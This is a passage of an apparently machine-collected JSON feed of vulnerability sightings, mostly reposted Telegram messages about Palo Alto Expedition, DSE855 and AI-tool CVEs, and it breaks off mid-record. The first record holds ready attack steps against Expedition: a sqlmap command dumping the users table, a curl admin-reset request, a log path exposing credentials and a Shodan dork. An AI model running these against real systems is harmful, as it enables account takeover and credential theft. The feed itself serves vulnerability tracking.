\u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u044e\u0437\u0435\u0440\u043e\u0432:\n\n\npython3 sqlmap.py -u \"https://10.0.40.64/bin/configurations/parsers/Checkpoint/CHECKPOINT.php?action=im port&type=test&project=pandbRBAC&signatureid=1\" -p signatureid -T users --dump\n\n\nCVE-2024-5910: \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u0445\u0432\u0430\u0442\u0443 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u0438\u043c\u0435\u044e\u0449\u0438\u043c\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438\n\n\ncurl -k 'https://10.0.40.64/0S/startup/restore/restoreAdmin.php'\n\n\n[**CVE-2024-9464: Palo Alto Expedition Authenticated Command Injection Exploit**](https://github.com/horizon3ai/CVE-2024-9464)\n\nCVE-2024-9466: Cleartext Credentials in Logs\n\n/home/userSpace/devices/debug.txt\n\n\u0421\u0435\u0440\u0432\u0435\u0440 Expedition \u0445\u0440\u0430\u043d\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e API-\u043a\u043b\u044e\u0447\u0438 \u0438 \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435, \u043d\u043e \u0432 \u044d\u0442\u043e\u043c \u0444\u0430\u0439\u043b\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u0430 \u0431\u044b\u043b\u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u044b \u0432\u0441\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \u041e\u0431 \u044d\u0442\u043e\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0431\u044b\u043b\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u043e, \u0438 \u0435\u0439 \u043f\u0440\u0438\u0441\u0432\u043e\u0435\u043d \u043d\u043e\u043c\u0435\u0440 CVE-2024-9466.\n\nBlog: https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/\n\nShodan dork:\n\n\nhtml:\"Expedition Project\"\n\n\nSource: https://t.me/P0x3k/1966", "creation_timestamp": "2026-07-14T00:01:00.753027Z"}, {"uuid": "1fa1e888-c0cb-4fc9-9965-f97f59f4fcb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5961", "type": "seen", "source": "Telegram/SVZvTdeqqmSRakJEIQhn4CjyThzPklzbZgbnjRRXOSeUVHM", "content": "", "creation_timestamp": "2026-08-27T12:00:11.978793Z"}, {"uuid": "2008dc05-51cf-4c29-83ae-3337f3168110", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5961", "type": "seen", "source": "Telegram/SVZvTdeqqmSRakJEIQhn4CjyThzPklzbZgbnjRRXOSeUVHM", "content": "", "creation_timestamp": "2026-08-28T00:00:55.788773Z"}, {"uuid": "b8ca3163-5a19-4a86-b17e-5ccc26df93af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5961", "type": "published-proof-of-concept", "source": "Telegram/SVZvTdeqqmSRakJEIQhn4CjyThzPklzbZgbnjRRXOSeUVHM", "content": "", "creation_timestamp": "2026-08-29T00:00:14.826207Z"}, {"uuid": "af904e6f-3366-43dd-b747-221f8ac5738a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5982", "type": "seen", "source": "https://t.me/ZerodayAlert/370", "content": "\u041d\u0430\u0439\u0434\u0435\u043d\u044b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0431\u0430\u0433\u0438 \u0432 Lunary, LocalAI \u0438 ChuanhuChatGPT\n\n\ud83e\udd16 \u0412 \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f Protect AI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e \u0431\u043e\u043b\u0435\u0435 30 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044f\u0445 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f. \u041e\u0441\u043e\u0431\u0443\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0431\u0430\u0433\u0438 \u0432 Lunary \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9.1, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0438 \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044e.\n\n\u26a1\ufe0f ChuanhuChatGPT \u0438 LocalAI \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u0427\u0435\u0440\u0435\u0437 CVE-2024-5982 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u0430 CVE-2024-6983 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.\n\n\ud83d\udee1 \u041d\u0430\u0439\u0434\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445: Deep Java Library \u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u043e\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u043e\u0439 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 NVIDIA NeMo \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0431\u0430\u0433\u0430 CVE-2024-0129.\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u0418\u0418 #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:20.242998Z"}, {"uuid": "bd7d4a2b-d5a2-4d67-bcd4-720c9ae383b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5982", "type": "seen", "source": "https://t.me/ZerodayAlert/370", "content": "\u041d\u0430\u0439\u0434\u0435\u043d\u044b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0431\u0430\u0433\u0438 \u0432 Lunary, LocalAI \u0438 ChuanhuChatGPT\n\n\ud83e\udd16 \u0412 \u0445\u043e\u0434\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f Protect AI \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043e \u0431\u043e\u043b\u0435\u0435 30 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0418\u0418-\u043c\u043e\u0434\u0435\u043b\u044f\u0445 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f. \u041e\u0441\u043e\u0431\u0443\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0431\u0430\u0433\u0438 \u0432 Lunary \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9.1, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0438 \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u044e.\n\n\u26a1\ufe0f ChuanhuChatGPT \u0438 LocalAI \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430. \u0427\u0435\u0440\u0435\u0437 CVE-2024-5982 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u0430 CVE-2024-6983 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0447\u0435\u0440\u0435\u0437 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.\n\n\ud83d\udee1 \u041d\u0430\u0439\u0434\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445: Deep Java Library \u0441\u0442\u0440\u0430\u0434\u0430\u0435\u0442 \u043e\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u043a\u043e\u0439 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 NVIDIA NeMo \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043f\u0430\u0442\u0447 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0431\u0430\u0433\u0430 CVE-2024-0129.\n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 #\u0418\u0418 #\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c #\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435\n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:44.454454Z"}, {"uuid": "1fae130b-3e23-4a12-b055-41c10ae1bf74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://t.me/sysadm_in_up/2279", "content": "Palo Alto Expedition Missing Authentication Vulnerability: Palo Alto Expedition contains a missing authentication vulnerability that allows an attacker with network access to takeover an Expedition admin account and potentially access configuration secrets, credentials, and other data\n\nhttps://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2024-5910&field_date_added_wrapper=all&field_cve=&sort_by=field_date_added&items_per_page=20&url=", "creation_timestamp": "2026-07-29T12:03:16.605083Z"}, {"uuid": "0b92b01d-72dd-4c3c-8bf0-cb5dac90b2f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "seen", "source": "https://t.me/hacking_Attack/141728", "content": "The Discovery of CVE-2024\u20135947: Authentication Bypass in Deep Sea Electronics DSE855\nhttps://medium.com/@karthithehacker/the-discovery-of-cve-2024-5947-authentication-bypass-in-deep-sea-electronics-dse855-5fa2e89cbdfb?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:31.521101Z"}, {"uuid": "09ab3dd1-fc2e-4c30-bfba-9cdf3ca0eded", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "seen", "source": "https://t.me/hacking_Attack/141730", "content": "Recently, during a routine security assessment, I uncovered a significant flaw in the Deep Sea Electronics DSE855 device. This\u2026Continue reading on Medium \u00bb (https://medium.com/@karthithehacker/the-discovery-of-cve-2024-5947-authentication-bypass-in-deep-sea-electronics-dse855-5fa2e89cbdfb?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:31.272857Z"}, {"uuid": "63406e81-b7fb-4ed3-a6bf-16e8a4457d9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "seen", "source": "https://t.me/hacking_Attack/141806", "content": "The Discovery of CVE-2024\u20135947: Authentication Bypass in Deep Sea Electronics DSE855\n\nRecently, during a routine security assessment, I uncovered a significant flaw in the Deep Sea Electronics DSE855 device. This vulnerability, identified as CVE-2024\u20135947, pertains to an authentication bypass issue that allows unauthorized access to sensitive information. Here\u2019s how I discovered and explored this vulnerability.The Discovery While examining the target, I focused on the device\u2019s web-based interface and noticed a peculiar behavior. The Deep Sea Electronics DSE855 was exposing a configuration backup file at http://xxxxxxxxxx/Backup.bin. This file was accessible without any authentication, raising red flags.Understanding the Vulnerability Bug Name: Deep Sea Electronics DSE855 \u2014 Authentication Bypass Bug Priority: Medium Vulnerable URL: http://xxxxxxx/Backup.bin CVE Description: CVE-2024\u20135947 highlights a critical issue in the Deep Sea Electronics DSE855\u2019s configuration backup process. The vulnerability arises from a lack of authentication before accessing sensitive information stored in the backup file. This issue, documented as ZDI-CAN-22679, allows network-adjacent attackers to retrieve the backup file without proper authorization, potentially exposing sensitive data such as stored credentials.Impact The exposed backup file can contain sensitive configuration details that could be leveraged by an attacker to compromise the system further. Accessing this file could lead to unauthorized disclosure of credentials and other critical information, increasing the risk of a security breach.Steps to Reproduce To confirm the vulnerability, follow these steps:Access the Vulnerable URL: Open the URL in your browser: http://xxxxxxxxx/Backup.binObserve the File Access: If the backup file is accessible without any authentication, you can view or download its contents, confirming the vulnerability.Automating the Hunt To streamline the process, I built a Python tool specifically for detecting this vulnerability. You can install it using pip and automate your testing: ToolPOC: CVE-2024\u20135947on githubpip install CVE-2024-5947 CVE-2024-5947 --chatid To Check a Single URL:CVE-2024-5947 -u http://mytargetprogram.comTo Check a List of URLs:CVE-2024-5947 -i urls.txt Remediation: To mitigate this vulnerability, it is essential to remove the .bin file from the server and ensure that sensitive files are protected with proper authentication mechanisms. POC by: @karthithehacker Mail: contact@karthithehacker.com Website: https://www.karthithehacker.com/ If you\u2019re interested in our VAPT service, contact us at ceo@cappriciosec.com or contact@cappriciosec.com. For enrolling my cybersecurity and Bugbounty course, WhatsApp +91 82709 13635.Connect with me: Twitter: https://twitter.com/karthithehacker Instagram: https://www.instagram.com/karthithehacker/ LinkedIn: https://www.linkedin.com/in/karthikeyan--v/ Website: https://www.karthithehacker.com/ Github : https://github.com/karthi-the-hacker/ npmjs: https://www.npmjs.com/~karthithehacker Youtube: https://www.youtube.com/@karthi_the_hackerThank you Karthikeyan.V The Discovery of CVE-2024\u20135947: Authentication Bypass in Deep Sea Electronics DSE855 was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.\nRead more...", "creation_timestamp": "2026-09-01T20:00:31.351899Z"}, {"uuid": "8f14c2a0-4212-444a-8854-3485d5e21ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "seen", "source": "https://t.me/hacking_Attack/141806", "content": "The Discovery of CVE-2024\u20135947: Authentication Bypass in Deep Sea Electronics DSE855\n\nRecently, during a routine security assessment, I uncovered a significant flaw in the Deep Sea Electronics DSE855 device. This vulnerability, identified as CVE-2024\u20135947, pertains to an authentication bypass issue that allows unauthorized access to sensitive information. Here\u2019s how I discovered and explored this vulnerability.The Discovery While examining the target, I focused on the device\u2019s web-based interface and noticed a peculiar behavior. The Deep Sea Electronics DSE855 was exposing a configuration backup file at http://xxxxxxxxxx/Backup.bin. This file was accessible without any authentication, raising red flags.Understanding the Vulnerability Bug Name: Deep Sea Electronics DSE855 \u2014 Authentication Bypass Bug Priority: Medium Vulnerable URL: http://xxxxxxx/Backup.bin CVE Description: CVE-2024\u20135947 highlights a critical issue in the Deep Sea Electronics DSE855\u2019s configuration backup process. The vulnerability arises from a lack of authentication before accessing sensitive information stored in the backup file. This issue, documented as ZDI-CAN-22679, allows network-adjacent attackers to retrieve the backup file without proper authorization, potentially exposing sensitive data such as stored credentials.Impact The exposed backup file can contain sensitive configuration details that could be leveraged by an attacker to compromise the system further. Accessing this file could lead to unauthorized disclosure of credentials and other critical information, increasing the risk of a security breach.Steps to Reproduce To confirm the vulnerability, follow these steps:Access the Vulnerable URL: Open the URL in your browser: http://xxxxxxxxx/Backup.binObserve the File Access: If the backup file is accessible without any authentication, you can view or download its contents, confirming the vulnerability.Automating the Hunt To streamline the process, I built a Python tool specifically for detecting this vulnerability. You can install it using pip and automate your testing: ToolPOC: CVE-2024\u20135947on githubpip install CVE-2024-5947 CVE-2024-5947 --chatid To Check a Single URL:CVE-2024-5947 -u http://mytargetprogram.comTo Check a List of URLs:CVE-2024-5947 -i urls.txt Remediation: To mitigate this vulnerability, it is essential to remove the .bin file from the server and ensure that sensitive files are protected with proper authentication mechanisms. POC by: @karthithehacker Mail: contact@karthithehacker.com Website: https://www.karthithehacker.com/ If you\u2019re interested in our VAPT service, contact us at ceo@cappriciosec.com or contact@cappriciosec.com. For enrolling my cybersecurity and Bugbounty course, WhatsApp +91 82709 13635.Connect with me: Twitter: https://twitter.com/karthithehacker Instagram: https://www.instagram.com/karthithehacker/ LinkedIn: https://www.linkedin.com/in/karthikeyan--v/ Website: https://www.karthithehacker.com/ Github : https://github.com/karthi-the-hacker/ npmjs: https://www.npmjs.com/~karthithehacker Youtube: https://www.youtube.com/@karthi_the_hackerThank you Karthikeyan.V The Discovery of CVE-2024\u20135947: Authentication Bypass in Deep Sea Electronics DSE855 was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.\nRead more...", "creation_timestamp": "2026-09-02T01:00:49.374046Z"}, {"uuid": "0a2b2b66-4e36-4d50-8a60-27084847e7f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "seen", "source": "https://t.me/hacking_Attack/141730", "content": "Recently, during a routine security assessment, I uncovered a significant flaw in the Deep Sea Electronics DSE855 device. This\u2026Continue reading on Medium \u00bb (https://medium.com/@karthithehacker/the-discovery-of-cve-2024-5947-authentication-bypass-in-deep-sea-electronics-dse855-5fa2e89cbdfb?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:49.278881Z"}, {"uuid": "671056df-76aa-4cce-a284-ab82025adf9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "seen", "source": "https://t.me/hacking_Attack/141728", "content": "The Discovery of CVE-2024\u20135947: Authentication Bypass in Deep Sea Electronics DSE855\nhttps://medium.com/@karthithehacker/the-discovery-of-cve-2024-5947-authentication-bypass-in-deep-sea-electronics-dse855-5fa2e89cbdfb?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:50.170197Z"}, {"uuid": "025d23b6-bbc3-4a06-ab7f-79695918034e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/141806", "content": "The Discovery of CVE-2024\u20135947: Authentication Bypass in Deep Sea Electronics DSE855\n\nRecently, during a routine security assessment, I uncovered a significant flaw in the Deep Sea Electronics DSE855 device. This vulnerability, identified as CVE-2024\u20135947, pertains to an authentication bypass issue that allows unauthorized access to sensitive information. Here\u2019s how I discovered and explored this vulnerability.The Discovery While examining the target, I focused on the device\u2019s web-based interface and noticed a peculiar behavior. The Deep Sea Electronics DSE855 was exposing a configuration backup file at http://xxxxxxxxxx/Backup.bin. This file was accessible without any authentication, raising red flags.Understanding the Vulnerability Bug Name: Deep Sea Electronics DSE855 \u2014 Authentication Bypass Bug Priority: Medium Vulnerable URL: http://xxxxxxx/Backup.bin CVE Description: CVE-2024\u20135947 highlights a critical issue in the Deep Sea Electronics DSE855\u2019s configuration backup process. The vulnerability arises from a lack of authentication before accessing sensitive information stored in the backup file. This issue, documented as ZDI-CAN-22679, allows network-adjacent attackers to retrieve the backup file without proper authorization, potentially exposing sensitive data such as stored credentials.Impact The exposed backup file can contain sensitive configuration details that could be leveraged by an attacker to compromise the system further. Accessing this file could lead to unauthorized disclosure of credentials and other critical information, increasing the risk of a security breach.Steps to Reproduce To confirm the vulnerability, follow these steps:Access the Vulnerable URL: Open the URL in your browser: http://xxxxxxxxx/Backup.binObserve the File Access: If the backup file is accessible without any authentication, you can view or download its contents, confirming the vulnerability.Automating the Hunt To streamline the process, I built a Python tool specifically for detecting this vulnerability. You can install it using pip and automate your testing: ToolPOC: CVE-2024\u20135947on githubpip install CVE-2024-5947 CVE-2024-5947 --chatid To Check a Single URL:CVE-2024-5947 -u http://mytargetprogram.comTo Check a List of URLs:CVE-2024-5947 -i urls.txt Remediation: To mitigate this vulnerability, it is essential to remove the .bin file from the server and ensure that sensitive files are protected with proper authentication mechanisms. POC by: @karthithehacker Mail: contact@karthithehacker.com Website: https://www.karthithehacker.com/ If you\u2019re interested in our VAPT service, contact us at ceo@cappriciosec.com or contact@cappriciosec.com. For enrolling my cybersecurity and Bugbounty course, WhatsApp +91 82709 13635.Connect with me: Twitter: https://twitter.com/karthithehacker Instagram: https://www.instagram.com/karthithehacker/ LinkedIn: https://www.linkedin.com/in/karthikeyan--v/ Website: https://www.karthithehacker.com/ Github : https://github.com/karthi-the-hacker/ npmjs: https://www.npmjs.com/~karthithehacker Youtube: https://www.youtube.com/@karthi_the_hackerThank you Karthikeyan.V The Discovery of CVE-2024\u20135947: Authentication Bypass in Deep Sea Electronics DSE855 was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.\nRead more...", "creation_timestamp": "2026-09-03T17:00:04.963594Z"}, {"uuid": "a37e5c7e-83fc-4fbc-a9f0-d208e068f5ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/141730", "content": "Recently, during a routine security assessment, I uncovered a significant flaw in the Deep Sea Electronics DSE855 device. This\u2026Continue reading on Medium \u00bb (https://medium.com/@karthithehacker/the-discovery-of-cve-2024-5947-authentication-bypass-in-deep-sea-electronics-dse855-5fa2e89cbdfb?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-03T17:00:05.074282Z"}, {"uuid": "a4b61051-4b86-4f26-a6e0-d29a05e16d42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/141728", "content": "The Discovery of CVE-2024\u20135947: Authentication Bypass in Deep Sea Electronics DSE855\nhttps://medium.com/@karthithehacker/the-discovery-of-cve-2024-5947-authentication-bypass-in-deep-sea-electronics-dse855-5fa2e89cbdfb?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-03T18:00:07.787179Z"}, {"uuid": "6903c281-0e2a-4910-bf98-464b341da817", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/141730", "content": "Recently, during a routine security assessment, I uncovered a significant flaw in the Deep Sea Electronics DSE855 device. This\u2026Continue reading on Medium \u00bb (https://medium.com/@karthithehacker/the-discovery-of-cve-2024-5947-authentication-bypass-in-deep-sea-electronics-dse855-5fa2e89cbdfb?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T00:00:41.638977Z"}, {"uuid": "aeeb3166-0ae6-441b-8e81-ee481a02f4a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/141728", "content": "The Discovery of CVE-2024\u20135947: Authentication Bypass in Deep Sea Electronics DSE855\nhttps://medium.com/@karthithehacker/the-discovery-of-cve-2024-5947-authentication-bypass-in-deep-sea-electronics-dse855-5fa2e89cbdfb?source=rss------bug_bounty-5", "creation_timestamp": 